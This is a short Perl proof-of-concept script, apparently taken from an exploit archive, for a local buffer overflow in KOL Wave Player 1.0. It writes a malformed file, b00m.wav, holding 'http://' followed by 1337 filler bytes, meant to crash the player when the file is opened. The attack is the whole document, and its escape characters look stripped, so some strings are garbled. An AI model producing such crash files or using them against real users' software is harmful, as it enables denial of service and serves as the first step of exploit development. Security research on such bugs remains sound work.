Text :  

#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.wav
>>>BOOM
#########################################################


print "#####################################################n";
print "[!] KOL Wave Player 1.0 (.wav) Local Buffer Overflow
PoCn";
print "n";
print "[!] Author: cr4wl3rn";
print "[!] Mail: cr4wl3r[!]linuxmail.orgn";
print "#####################################################n";


my $boom = "http://"."x41" x 1337;
my $filename = "b00m.wav";
open (FILE,">$filename");
print FILE "$boom";
print "nFile successfully created!n";

  References :  

None